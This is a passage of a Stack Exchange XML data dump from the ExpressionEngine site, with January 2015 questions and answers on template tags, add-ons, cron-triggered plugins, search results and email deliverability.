rel=&quot;nofollow&quot;&gt;http://screencast.com/t/koUdI5T60z&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to turn on the the defer CK Editor until clicked on, and the editor does show up but the same problem happens once I click on the field.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to get this working as I've already tried uploading all files again. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4983" LastEditorUserId="55" LastEditDate="2015-01-27T19:15:38.560" LastActivityDate="2015-01-28T23:31:45.220" Title="Wygwam fields disappearing and causing EE 2.9.2 to lock up" Tags="|wygwam|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28665" PostTypeId="1" CreationDate="2015-01-27T16:21:20.127" Score="3" ViewCount="779" Body="&lt;p&gt;I am using a payment gateway that is not supported by any of the existing modules/plugins. They can provide a script that I an modify to write directly to the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested by:&#xA;Logging in via phpmyadmin and adding a new row to the member table. I entered username, screenname, password (selected sha1), group, language, time zone and hit go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It created the member, and when I logged in first time a SALT value was added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unique_id remained blank, and crypt_key has a NULL value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have httpd authentication enabled in EE. I am able to log in to the templates successfully using the new login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will not having the unique and crypt key screw things up and this is a bad idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your advice!&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2015-01-27T19:37:21.917" Title="Is it ok to create a member manually in the database?" Tags="|members|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28666" PostTypeId="1" AcceptedAnswerId="28674" CreationDate="2015-01-27T16:26:52.520" Score="3" ViewCount="125" Body="&lt;p&gt;I have a plugin which doesn't actually integrate with the website. It's purpose is to grab a column of the channel entries table and manipulate it every 24 hours. The plugin will only run each time a cookie expires (24 hours).&lt;br&gt;&#xA;Is there a way to have this plugin run without affecting the page load. Currently, by calling the plugin in the template, the page doesn't load until the plugin has completely run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right to think that I would really need to be write a external PHP script and use CRON to run this every 24 hours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a way to do it within the EE environment. I was hoping to use the built in codeigniter library that's built into EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-01-28T01:48:55.223" Title="Run plugin without affecting loading time (external)" Tags="|php|database|plugin|mysql|codeigniter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28667" PostTypeId="1" AcceptedAnswerId="28692" CreationDate="2015-01-27T17:00:00.207" Score="1" ViewCount="279" Body="&lt;p&gt;I'm trying to loop on product modifiers though I can't seem to do it, can someone tell me why I'm being dumb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page suggests I can do it with the product-tag:&#xA;&lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.exp-resso.com/docs/product_tag.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one suggests I can do it with the product-form-tag:&#xA;&lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.exp-resso.com/docs/product_form_tag.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither seems to work and when I copy/pasta the example code it just hard codes this in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;&amp;lt;p&amp;gt;&#xA;  &amp;lt;label&amp;gt;{modifier_name}&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;  {if modifier_instructions}&amp;lt;small&amp;gt;{modifier_instructions}&amp;lt;/small&amp;gt;&amp;lt;br /&amp;gt;{/if}&#xA;  {if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;    &amp;lt;select name=&quot;{modifier_input_name}&quot;&amp;gt;&#xA;      {modifier_options}&#xA;        &amp;lt;option value=&quot;{option_id}&quot;&amp;gt;&#xA;          {option_name}&#xA;          {if price_mod_val} ({price_mod}) {/if}&#xA;        &amp;lt;/option&amp;gt;&#xA;      {/modifier_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;  {if:else}&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;{modifier_input_name}&quot; /&amp;gt;&#xA;  {/if}&#xA;&amp;lt;/p&amp;gt;&#xA;{/modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This Stack Exchange post suggests you cannot use it in the product tag unless its wrapped in product form tag (which I have also tried):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, you can't access the modifiers that way (there is no way for&#xA;  the fieldtype to return variable loops).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/217/outputting-exp-resso-store-modifier-options-without-form-tag/218#218&quot;&gt;Outputting Exp-resso Store modifier-options without form-tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of my entry in the backend of EE:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n6799.png&quot; alt=&quot;Here is a screenshot of my entry in the backend of EE&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-01-28T09:41:35.467" Title="Product Modifiers" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28668" PostTypeId="1" CreationDate="2015-01-27T17:05:36.300" Score="0" ViewCount="40" Body="&lt;p&gt;We've uploaded a bunch of images into EE but when they're added into templated image sections, many of them are too high or too low. Is it possible to reposition these images in EE without having to fix them and then re-upload into EE?&lt;/p&gt;&#xA;" OwnerUserId="4986" LastActivityDate="2015-01-28T07:12:15.833" Title="Repositioning images" Tags="|image|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28669" PostTypeId="2" ParentId="28665" CreationDate="2015-01-27T17:27:36.807" Score="2" Body="&lt;p&gt;I've had to build a member importer for a client's website in which I did the same thing you're thinking about doing: inserting a member directly into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you add all of the fields that are required, you are good to go. Just look up the EE way of adding members and duplicate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just don't forget about the &lt;code&gt;exp_member_data&lt;/code&gt; and &lt;code&gt;exp_member_homepage&lt;/code&gt; tables. I didn't include those at first, and members wouldn't work until I fixed that.&lt;/p&gt;&#xA;" OwnerUserId="4971" LastEditorUserId="4971" LastEditDate="2015-01-27T19:37:21.917" LastActivityDate="2015-01-27T19:37:21.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28671" PostTypeId="1" CreationDate="2015-01-27T17:45:52.353" Score="1" ViewCount="113" Body="&lt;p&gt;Im trying to built a event calendar that uses free form to submit the event home page and then use the calendar. So, if any wants to submit an event they can do so and then someone can go on the backed and approve the event.&lt;/p&gt;&#xA;" OwnerUserId="4987" LastActivityDate="2015-01-27T18:19:32.433" Title="Can I use Free form to submit a calendar event in the front and post it the backend for all the events?" Tags="|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28672" PostTypeId="2" ParentId="28667" CreationDate="2015-01-27T18:01:55.977" Score="2" Body="&lt;p&gt;You should be able to use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot;}&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;  {price} - {title}&#xA;&#xA; {modifiers}&#xA;  &amp;lt;p&amp;gt;&#xA;   &amp;lt;label&amp;gt;{modifier_name}&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;   {if modifier_instructions}&amp;lt;small&amp;gt;{modifier_instructions}&amp;lt;/small&amp;gt;&amp;lt;br /&amp;gt;{/if}&#xA;   {if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;    &amp;lt;select name=&quot;{modifier_input_name}&quot;&amp;gt;&#xA;      {modifier_options}&#xA;        &amp;lt;option value=&quot;{option_id}&quot;&amp;gt;&#xA;          {option_name}&#xA;          {if price_mod_val} ({price_mod}) {/if}&#xA;        &amp;lt;/option&amp;gt;&#xA;      {/modifier_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;   {if:else}&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;{modifier_input_name}&quot; /&amp;gt;&#xA;   {/if}&#xA;  &amp;lt;/p&amp;gt;&#xA;  {/modifiers}&#xA;&#xA; {/exp:store:product}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes that your products channel is called &lt;code&gt;products&lt;/code&gt; and that you are on a single entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also with your data above you would normally assign multiple options per variation. So something along the lines of Yes or No for TEST instead of just a single variation as you have. Basically you are trying to output a dropdown list with only 1 option at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The product_form tag is a wrapper for the product tag that you would only need/want to use if you were trying to create a single form that allowed you to add multiple items to the page with a single submit. I often use it to allow a user to add multiple add-on type items after they have added a the main item to their cart. Think along the lines of add an iPhone to the cart I might present them the option to add a case, screen protector, and/or charger to the cart with a single submit button.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-01-27T20:51:02.273" LastActivityDate="2015-01-27T20:51:02.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28673" PostTypeId="2" ParentId="28671" CreationDate="2015-01-27T18:19:32.433" Score="4" Body="&lt;p&gt;If you would like user submissions to &lt;em&gt;directly&lt;/em&gt; polulate the calendar, then you should use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;Channel Form&lt;/a&gt; and have users submit the events as entries in the calendar Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are using Solspace Calendar, see the docs on &lt;a href=&quot;http://www.solspace.com/docs/calendar/channel_form/&quot; rel=&quot;nofollow&quot;&gt;Using with Channel Form.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This same approach of using Channel Form holds true if you are displaying events using the native &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/calendar.html&quot; rel=&quot;nofollow&quot;&gt;Calendar Tag&lt;/a&gt;, too (since those are also just Channel entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you absolutely need to use Freeform for your user event submissions and have them automatically become Channel entries, then you'll probably need to make an extension to convert the Freeform entries to Channel entries.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-27T18:19:32.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28674" PostTypeId="2" ParentId="28666" CreationDate="2015-01-27T18:24:42.970" Score="4" Body="&lt;p&gt;You can do this by developing your add-on as a module rather than a plugin since only modules can use EE actions. (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;See the EE docs for an explanation of the difference between the types of add-on.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://experiencehq.net/blog/a-brief-introduction-to-expressionengine-actions&quot; rel=&quot;nofollow&quot;&gt;More info on EE actions here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you need to develop a module to perform your desired action, then call the associated ACT URL (e.g. &lt;a href=&quot;http://example.com/index.php?ACT=123&quot; rel=&quot;nofollow&quot;&gt;http://example.com/index.php?ACT=123&lt;/a&gt;) using a cron job on your server.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2015-01-27T18:24:42.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28675" PostTypeId="1" CreationDate="2015-01-27T19:13:34.730" Score="0" ViewCount="71" Body="&lt;p&gt;The search is returning too many results and repeating the same result entries more then once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a second collection set up almost exactly the same which doesn't do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is going on?&#xA;Thanks for looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search box code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:low_search:form result_page=&quot;publications/pub_results&quot;}&#xA;     &amp;lt;fieldset&amp;gt;&#xA;       &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot;/&amp;gt;&#xA;       &amp;lt;button type=&quot;submit&quot;&amp;gt;Search Publications&amp;lt;/button&amp;gt;&#xA;     &amp;lt;/fieldset&amp;gt;&#xA;  {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results page code (with mark up simplified)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;10&quot; collection=&quot;publications_c&quot; search_mode=&quot;auto&quot;}&#xA;  {if count ==  1}&#xA;&#xA;           &amp;lt;p&amp;gt;{pub_year}&amp;lt;/p&amp;gt;&#xA;&#xA;              &amp;lt;h4 style=&quot;margin-left:12px; margin-bottom:0px; margin-top:0px; padding-top:0px;&quot;&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{full_title}.&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt; &#xA;&#xA;&#xA;                   {/if}&#xA;&#xA;             {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;                {if no_results}&amp;lt;p&amp;gt;No search results. Check your spelling or try a different search term.&amp;lt;/p&amp;gt;{/if}&#xA;              {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2015-01-28T00:24:17.967" LastActivityDate="2015-01-28T19:16:04.607" Title="Low search showing repeating/too many results" Tags="|templates|search|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28676" PostTypeId="2" ParentId="28675" CreationDate="2015-01-27T20:24:49.707" Score="1" Body="&lt;p&gt;To quote &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[P]arameters can be applied in two ways: as input fields in a Form, or as hard-coded parameters in the Results or URL tag.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That means the Form tag doesn't accept any filter parameters, like &lt;code&gt;collection&lt;/code&gt; and &lt;code&gt;search_mode&lt;/code&gt;, which are part of the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;. So try moving those parameters to the Results tag instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the parameter &lt;code&gt;name&lt;/code&gt; is not a valid on the Form tag. If you're trying to set an html attribute to the form-tag, use &lt;code&gt;form_name&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; After &lt;a href=&quot;https://getsatisfaction.com/low/topics/returning-too-many-results-repeating-the-same-result-or-none-at-all&quot; rel=&quot;nofollow&quot;&gt;investigation&lt;/a&gt;, it turned out the Results tag was nested inside a channel:entries tag, and the code inside the Results tag was wrapped inside a &lt;code&gt;{if count == 1}&lt;/code&gt; conditional. The problem was solved after these issues were addressed.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-01-28T19:16:04.607" LastActivityDate="2015-01-28T19:16:04.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28677" PostTypeId="2" ParentId="28666" CreationDate="2015-01-27T20:42:07.503" Score="4" Body="&lt;p&gt;You can make a module - like Steve advice. Use &lt;a href=&quot;https://github.com/rsanchez/generator-ee-addon&quot; rel=&quot;nofollow&quot;&gt;Yeoman ExpressionEngine Add-On generator&lt;/a&gt; to simplify developing process. On server you will need to setup cron with wget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;execute cronjob every day at 3am&#xA;00 03 * * * wget http://example.com/index.php?ACT=XX&amp;amp;task_id=1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want something really quick and simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a special template with some secret name, like &lt;em&gt;&lt;a href=&quot;http://example.com/kab47jov825yub976on&quot; rel=&quot;nofollow&quot;&gt;http://example.com/kab47jov825yub976on&lt;/a&gt;&lt;/em&gt; (secret name need just to prevent accidental request) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place your plugin tag inside this template &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup CRON request on one of many available cronjob web services. For some project we use &lt;a href=&quot;https://www.setcronjob.com/&quot; rel=&quot;nofollow&quot;&gt;setcronjob.com&lt;/a&gt; - for 2y was only 1 time when task was failed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-or- you can setup same CRON job as for module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;execute cronjob every day at 3am&#xA;00 03 * * * wget &lt;a href=&quot;http://example.com/kab47jov825yub976on/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/kab47jov825yub976on/&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enjoy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-01-28T01:48:55.223" LastActivityDate="2015-01-28T01:48:55.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28678" PostTypeId="1" CreationDate="2015-01-27T22:38:48.013" Score="0" ViewCount="50" Body="&lt;p&gt;&lt;strong&gt;EE v2.4.0&lt;/strong&gt; (Updating is not an option at this time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello! The photo gallery that we use still shows up even when no photos are added. Basically what I'm trying to do is get the image gallery to show only if a user uploaded an image. I've done this type of thing before on 2.9.2, but for some reason (I suspect a version issue) it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the original code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;left article_image&quot;&amp;gt;&#xA;          &amp;lt;ul data-orbit&amp;gt;&#xA;          {article_images}&#xA;                &amp;lt;li&amp;gt;&#xA;                  &amp;lt;img src=&quot;{image_matrix_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{image_matrix_cutline}&amp;lt;em&amp;gt;  ({image_matrix_byline})&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/article_images}&#xA;          &amp;lt;/ul&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is what I've added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;div class=&quot;left article_image&quot;&amp;gt;&#xA;       {if article_images}&#xA;          &amp;lt;ul data-orbit&amp;gt;&#xA;          {article_images}&#xA;                &amp;lt;li&amp;gt;&#xA;                  &amp;lt;img src=&quot;{image_matrix_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{image_matrix_cutline}&amp;lt;em&amp;gt;  ({image_matrix_byline})&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/article_images}&#xA;          &amp;lt;/ul&amp;gt;&#xA;          {if:else}&#xA;          {/if}&#xA;       &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you see, what should be an easy task, is just not working. &lt;strong&gt;The result is both an empty album &lt;em&gt;not&lt;/em&gt; showing and an album with images &lt;em&gt;not&lt;/em&gt; showing.&lt;/strong&gt; How big of a newbie am I and what am I missing? I have tried moving around the ifs and ifelses. I have also tried using '== true'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated. Thank you so much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qVnsS.png&quot; alt=&quot;Here is what it looks like when a user does not add an image in ExpressionEngine and posts the article. The gallery slider still shows up.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture of empty image slider above.&lt;/p&gt;&#xA;" OwnerUserId="2902" LastActivityDate="2015-01-28T00:20:35.280" Title="Conditional statement issues" Tags="|conditionals|ifelse|image-galleries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28679" PostTypeId="1" CreationDate="2015-01-27T22:56:13.573" Score="3" ViewCount="428" Body="&lt;p&gt;I'm trying to send emails using EE &gt; tools &gt; communicate. I have tried PHP, SendMail, and now SMTP with no luck.  The email send but goes into the spam folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hotmail and Gmail are both sending to spam. I have created an email jim@mydomain.com and I'm sending from that domain.  Normally I would tell Gmail that it is not spam, however this is for a client and they will change recipients often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I need my Freeform forms to NOT send to spam but for now I can't get this to work.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2015-01-28T15:35:48.050" Title="EE sending to Spam, need help" Tags="|solspace-freeform|email|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28680" PostTypeId="6" CreationDate="2015-01-27T23:21:05.683" Score="0" Body="&lt;p&gt;If needed, I'm happy to step up again to assist the site as a moderator... though it's probably best to have someone new step in. I'm also happy to assist as a person the new moderators can call if they have questions or get stuck on something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anna Brown&#xA;@mediagirl&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2015-01-27T23:26:51.860" LastActivityDate="2015-01-27T23:26:51.860" CommentCount="0" CommunityOwnedDate="2015-01-27T23:21:05.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="28681" PostTypeId="1" CreationDate="2015-01-27T23:21:51.240" Score="5" ViewCount="3186" Body="&lt;p&gt;I need to access the query string params in a template. How can I access these variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/search.php?size=large&amp;amp;color=red&amp;amp;page=1&quot; rel=&quot;noreferrer&quot;&gt;http://example.com/search.php?size=large&amp;amp;color=red&amp;amp;page=1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="924" LastActivityDate="2016-05-02T14:14:46.647" Title="How to access query string params in a template?" Tags="|url|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28682" PostTypeId="2" ParentId="28678" CreationDate="2015-01-28T00:20:35.280" Score="2" Body="&lt;p&gt;If I read your code correctly, you use Matrix field to keep images. Try next code for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;left article_image&quot;&amp;gt;&#xA;   {if article_images:total_rows&amp;gt;0}&#xA;      &amp;lt;ul data-orbit&amp;gt;&#xA;      {article_images}&#xA;            &amp;lt;li&amp;gt;&#xA;              &amp;lt;img src=&quot;{image_matrix_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;              &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;{image_matrix_cutline}&amp;lt;em&amp;gt;  ({image_matrix_byline})&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/article_images}&#xA;      &amp;lt;/ul&amp;gt;&#xA;      {if:else}&#xA;      {/if}&#xA;   &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-01-28T00:20:35.280" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28683" PostTypeId="2" ParentId="28679" CreationDate="2015-01-28T01:31:44.903" Score="9" Body="&lt;p&gt;It can be many reason for this - first needs to check if domain or &lt;strong&gt;Server IP&lt;/strong&gt; (can be for shared hosting) &lt;a href=&quot;http://mxtoolbox.com/blacklists.aspx&quot;&gt;was not blacklisted&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then check email header - you will have a whole picture if any spam flags here, servers ip, from what server is come etc. For example your email can failed DomainKeys (DKIM) test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What  I usually do, is setup mail setting for using third-party services like &lt;a href=&quot;https://sendgrid.com/&quot;&gt;SendGrid&lt;/a&gt; or &lt;a href=&quot;https://mandrill.com/&quot;&gt;Mandrill&lt;/a&gt; to prevent possible issues. Both this services have free packages which enough for most sites needs.&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="28" LastEditDate="2015-01-28T04:54:08.373" LastActivityDate="2015-01-28T04:54:08.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28684" PostTypeId="2" ParentId="28681" CreationDate="2015-01-28T02:02:34.257" Score="4" Body="&lt;p&gt;You can use PHP or plugin &lt;a href=&quot;https://bitbucket.org/WTSnet/get_post_var/downloads/get_post_var%201.1.zip&quot; rel=&quot;nofollow&quot;&gt;GET_POST_Var&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;color {exp:get_post_var type='get' var='color'}&#xA;page {exp:get_post_var type='get' var='page'}&#xA;size {exp:get_post_var type='get' var='size'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-01-28T02:02:34.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28685" PostTypeId="1" AcceptedAnswerId="28686" CreationDate="2015-01-28T02:14:32.937" Score="0" ViewCount="44" Body="&lt;p&gt;I just installed the &lt;a href=&quot;https://objectivehtml.com/photo-frame&quot; rel=&quot;nofollow&quot;&gt;Photo Frame EE add-on&lt;/a&gt; and I'm really impressed with the image editing functionality. I'm unsure, however, as to whether it's possible to include a variable in the image &lt;code&gt;alt&lt;/code&gt; attribute? &lt;em&gt;Before&lt;/em&gt; installing Photoframe, my EE template markup was as follows for the image field in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-photo&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{item_photo}&quot; alt=&quot;{item_name} photo&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After integrating Photo Frame as the field type for &lt;code&gt;{item_photo}&lt;/code&gt;, I changed the EE markup as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-photo&quot;&amp;gt;&#xA;    {item_photo}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Photo Frame generates the full &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; markup, and creates an &lt;code&gt;alt&lt;/code&gt; attribute from the name of the published channel entry. I'm wondering how I might customize the value of this attribute, as I've done with my original EE template markup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any assistance here from those who may be using the Photo Frame add-on; and please let me know if my question is unclear in any way.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2015-01-28T05:40:54.983" Title="Photo Frame add-on -- customize alt attribute?" Tags="|add-on|module|image|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
